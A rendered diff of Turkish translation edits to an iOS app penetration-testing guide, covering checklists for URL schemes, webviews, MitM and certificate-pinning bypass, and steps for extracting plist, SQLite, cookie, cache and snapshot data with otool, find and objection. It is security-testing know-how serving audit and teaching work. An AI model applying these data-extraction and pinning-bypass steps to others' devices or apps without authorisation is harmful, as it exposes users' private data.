- [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin. - [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişlerini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin.
- [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin. - [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin.
- [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) - [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Uygulamanın UIActivities alıp almadığını ve özel olarak hazırlanmış bir etkinlikle herhangi bir açığı istismar etmenin mümkün olup olmadığını kontrol edin. - [ ] Uygulamanın UIActivities alıp almadığını ve özel olarak hazırlanmış bir etkinlikle herhangi bir açığı istismar etmenin mümkün olup olmadığını kontrol edin.
@ -77,17 +77,17 @@
- [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin. - [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin.
- [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin. - [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin.
- [ ] Web görünümünün **file://** protokolü ile **yerel dosyalara erişip erişemediğini** kontrol edin (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**). - [ ] Web görünümünün **file://** protokolü ile **yerel dosyalara erişip erişemediğini** kontrol edin (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**).
- [ ] Javascript'in **Yerel** **metotlara** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin. - [ ] Javascript'in **Yerel** **yöntemlere** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin.
### Ağ İletişimi ### Ağ İletişimi
- [ ] [**İletişime MitM uygulayın**](ios-pentesting/#network-communication) ve web açıklarını arayın. - [ ] İletişim için bir [**MitM gerçekleştirin**](ios-pentesting/#network-communication) ve web açıklarını arayın.
- [ ] [**sertifikanın ana bilgisayar adının**](ios-pentesting/#hostname-check) kontrol edilip edilmediğini kontrol edin. - [ ] [**sertifikanın ana bilgisayar adı**](ios-pentesting/#hostname-check) kontrol ediliyor mu kontrol edin.
- [ ] [**Sertifika Pinleme**](ios-pentesting/#certificate-pinning) kontrol edin/atlatın. - [ ] [**Sertifika Pinleme**](ios-pentesting/#certificate-pinning) kontrol edin/atlatın.
### **Çeşitli** ### **Çeşitli**
- [ ] [**otomatik yamanın/güncellemelerin**](ios-pentesting/#hot-patching-enforced-updateing) mekanizmalarını kontrol edin. - [ ] [**otomatik yamanın/güncellemenin**](ios-pentesting/#hot-patching-enforced-updateing) mekanizmalarını kontrol edin.
- [ ] [**kötü niyetli üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin. - [ ] [**kötü niyetli üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin.
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -47,7 +47,7 @@ IPA dosyasına otomatik Statik Analiz yapmak için [**MobSF**](https://github.co
otool -hv <app-binary> | grep PIE # PIE bayrağını içermelidir otool -hv <app-binary> | grep PIE # PIE bayrağını içermelidir
``` ```
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığının üzerine bir canary değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır. - **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığında bir canary değeri yerleştirilir ve işlev sona erdikten sonra tekrar doğrulanır.
```bash ```bash
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermelidir otool -I -v <app-binary> | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermelidir
@ -152,9 +152,9 @@ PID Name Identifier
- Camera com.apple.camera - Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift - iGoat-Swift OWASP.iGoat-Swift
``` ```
### Temel Sayım & Hooking ### Temel Sayım ve Hooking
Uygulamanın **bileşenlerini saymayı** ve **objection ile yöntemleri ve sınıfları kolayca hook etmeyi** öğrenin: Uygulamanın **bileşenlerini saymayı** ve **objection ile yöntemleri ve sınıfları kolayca hooklamayı** öğrenin:
{{#ref}} {{#ref}}
ios-hooking-with-objection.md ios-hooking-with-objection.md
@ -162,13 +162,13 @@ ios-hooking-with-objection.md
### IPA Yapısı ### IPA Yapısı
Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini **açabilirsiniz**. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız. Bir **IPA dosyasının** yapısı esasen bir **sıkıştırılmış paket** yapısıdır. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açabilirsiniz**. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
- **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar. - **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar.
- **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir. - **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir.
- **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir. - **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir.
- **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır. - **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır.
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır. - **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur.
- **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir. - **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir.
- **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. - **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
@ -180,7 +180,7 @@ Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısıdır.
**Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri biçiminde ana yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve frameworkler için de gereklidir. XML veya ikili formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri tutar. Mevcut anahtarların detaylı bir keşfi için [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) adresine başvurabilirsiniz. **Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri biçiminde ana yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve frameworkler için de gereklidir. XML veya ikili formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri tutar. Mevcut anahtarların detaylı bir keşfi için [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) adresine başvurabilirsiniz.
Bu dosyayla daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta (10.2 ve sonraki sürümlerde yerel olarak mevcut) `plutil` kullanılarak veya Linux'ta `plistutil` ile zahmetsizce gerçekleştirilebilir. Dönüşüm için komutlar aşağıdaki gibidir: Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta (10.2 ve sonraki sürümlerde yerel olarak mevcut) `plutil` kullanılarak veya Linux'ta `plistutil` ile zahmetsizce gerçekleştirilebilir. Dönüşüm için komutlar aşağıdaki gibidir:
- **macOS için**: - **macOS için**:
```bash ```bash
@ -197,14 +197,14 @@ $ grep -i <keyword> Info.plist
``` ```
**Veri Yolları** **Veri Yolları**
iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalar, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcıya atanır. iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalara, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır.
> [!WARNING] > [!WARNING]
> iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü olacaktır. > iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü de olacaktır.
> >
> Ancak, her iki klasör (veri ve konteyner klasörleri) de **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar. > Ancak, her iki klasör (veri ve konteyner klasörleri) **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar.
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection aracı** faydalı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection aracı** faydalı bir komut sağlar, `env`. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
```bash ```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -235,10 +235,10 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Veri dizini:** **Veri dizini:**
- **Documents/** - **Documents/**
- Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır. - Tüm kullanıcı tarafından oluşturulan verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
- Kullanıcılara görünür ve **kullanıcılar buna yazabilir**. - Kullanıcılara görünür ve **kullanıcılar buna yazabilir**.
- Bu dizindeki içerik **yedeklenir**. - Bu dizindeki içerik **yedeklenir**.
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir. - Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
- **Library/** - **Library/**
- **Kullanıcıya özel olmayan** tüm **dosyaları** içerir, örneğin **önbellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları. - **Kullanıcıya özel olmayan** tüm **dosyaları** içerir, örneğin **önbellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları.
- iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir. - iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
@ -251,7 +251,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir. - Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir.
- **Kullanıcılara görünmez** ve kullanıcılar buna yazamaz. - **Kullanıcılara görünmez** ve kullanıcılar buna yazamaz.
- Bu dizindeki içerik **yedeklenir**. - Bu dizindeki içerik **yedeklenir**.
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir. - Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
- **Library/Preferences/** - **Library/Preferences/**
- Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır. - Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır.
- Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır. - Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır.
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
``` ```
### İkili Tersine Mühendislik ### İkili Tersine Mühendislik
`<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla yapabilirsiniz: `<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla gerçekleştirebilirsiniz:
```bash ```bash
otool -Vh DVIA-v2 #Check some compilation attributes otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -373,7 +373,7 @@ ios-basics.md
**plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir. **plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir.
plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandasının içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir. plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama sandbox'ında **`Library/Preferences/<appBundleID>.plist`** içinde kaydedilir.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **plist** **dosyasında** **veri** depolar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır. [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **plist** **dosyasında** **veri** depolar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır.
@ -381,11 +381,11 @@ Bu verilere artık güvenilir bir bilgisayar aracılığıyla doğrudan erişile
**`NSUserDefaults`** kullanarak kaydedilen bilgileri **dump** edebilirsiniz, objection'ın `ios nsuserdefaults get` komutunu kullanarak. **`NSUserDefaults`** kullanarak kaydedilen bilgileri **dump** edebilirsiniz, objection'ın `ios nsuserdefaults get` komutunu kullanarak.
Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` konumuna erişebilir ve çalıştırabilirsiniz: Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private/var/mobile/Containers/Data/Application/{APPID}` yoluna erişebilir ve çalıştırabilirsiniz:
```bash ```bash
find ./ -name "*.plist" find ./ -name "*.plist"
``` ```
**XML veya ikili (bplist) formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:** **XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
**macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır: **macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır:
```bash ```bash
@ -396,18 +396,18 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils $ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist $ plistutil -i Info.plist -o Info_xml.plist
``` ```
**Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır: **Bir Objection Oturumu İçinde:** Mobil uygulamaları analiz etmek için, plist dosyalarını doğrudan dönüştürmenizi sağlayan özel bir komut vardır:
```bash ```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
``` ```
### Core Data ### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1), uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\ [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) adresine bakın. CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) adresine bakın.
Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz. Bir uygulamanın SQLite Core Data bilgilerini `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` yolunda bulabilirsiniz.
**SQLite'i açabilir ve hassas bilgilere erişebilirseniz, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.** **Eğer SQLite'ı açabiliyor ve hassas bilgilere erişebiliyorsanız, o zaman bir yanlış yapılandırma bulmuşsunuz demektir.**
```objectivec:Code from iGoat ```objectivec:Code from iGoat
-(void)storeDetails { -(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
@ -438,15 +438,15 @@ Yap veritabanları sqlite veritabanları olduğundan, önceki bölümde önerile
### Diğer SQLite Veritabanları ### Diğer SQLite Veritabanları
Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **duyarlı** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`) Uygulamaların kendi sqlite veritabanlarını oluşturması yaygındır. Bu veritabanlarında **hassas** **veri** **saklıyor** olabilirler ve bunu şifrelemeden bırakabilirler. Bu nedenle, her zaman uygulama dizinindeki her veritabanını kontrol etmek ilginçtir. Bu nedenle, verilerin kaydedildiği uygulama dizinine gidin (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash ```bash
find ./ -name "*.sqlite" -or -name "*.db" find ./ -name "*.sqlite" -or -name "*.db"
``` ```
### Firebase Gerçek Zamanlı Veritabanları ### Firebase Gerçek Zamanlı Veritabanları
Geliştiriciler, Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolayıp senkronize etme** yeteneğine sahiptir. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir. Geliştiriciler, Firebase Gerçek Zamanlı Veritabanları aracılığıyla **veri depolama ve senkronizasyon** yapma yeteneğine sahiptir. JSON formatında depolanan veriler, gerçek zamanlı olarak tüm bağlı istemcilere senkronize edilir.
Yanlış yapılandırılmış Firebase veritabanlarını kontrol etmenin yolunu burada bulabilirsiniz: Yanlış yapılandırılmış Firebase veritabanlarını nasıl kontrol edeceğinizi burada bulabilirsiniz:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md ../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
``` ```
### Çerezler ### Çerezler
iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtar zincirinde** saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**. iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/cookies.binarycookies`** içinde saklar. Ancak, geliştiriciler bazen bunları **anahtarlıkta** saklamayı tercih ederler çünkü bahsedilen **çerez dosyası yedeklerde erişilebilir**.
Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\ Çerez dosyasını incelemek için [**bu python betiğini**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) kullanabilir veya objection'ın **`ios cookies get`** komutunu kullanabilirsiniz.\
**Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz. **Bu dosyaları JSON formatına** dönüştürmek ve verileri incelemek için objection'ı da kullanabilirsiniz.
@ -508,9 +508,9 @@ iOS, uygulamaların çerezlerini her uygulama klasöründeki **`Library/Cookies/
``` ```
### Cache ### Cache
Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu n**ormal bir SQLite veritabanıdır**. Varsayılan olarak NSURLSession, **HTTP istekleri ve yanıtları Cache.db** veritabanında depolar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alındıysa **hassas veriler** içerebilir. Önbelleğe alınmış bilgileri bulmak için uygulamanın veri dizinini açın (`/var/mobile/Containers/Data/Application/<UUID>`) ve `/Library/Caches/<Bundle Identifier>` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında depolanmaktadır. **Objection**, `sqlite connect Cache.db` komutuyla veritabanını açabilir ve etkileşimde bulunabilir, çünkü bu bir **normal SQLite veritabanıdır**.
Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir: Bu verilerin önbelleğe alınmasını **devre dışı bırakmanız önerilir**, çünkü istek veya yanıt içinde hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
1. Çıkış yaptıktan sonra Önbelleğe alınmış yanıtların kaldırılması önerilir. Bu, Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz: 1. Çıkış yaptıktan sonra Önbelleğe alınmış yanıtların kaldırılması önerilir. Bu, Apple tarafından sağlanan [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile yapılabilir. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
@ -528,11 +528,11 @@ Bu yöntem, Cache.db dosyasından tüm önbelleğe alınmış istekleri ve yanı
### Snapshots ### Snapshots
Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha akıcı bir şekilde yapabilmek için. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüde** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir. Ana düğmeye her bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** böylece uygulamaya geçiş çok daha akıcı bir şekilde yapılabilir. Ancak, eğer mevcut ekranda **hassas** **veri** varsa, bu **görüntüde** **kaydedilir** (bu **yeniden başlatmalarda** **sürdürülür**). Bunlar, uygulamalar arasında geçiş yapmak için ana ekranı çift tıklayarak erişebileceğiniz anlık görüntülerdir.
iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olması gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez). iPhone jailbreak edilmedikçe, **saldırganın** bu ekran görüntülerini görebilmesi için **cihaza** **erişimi** **açık** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe depolanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
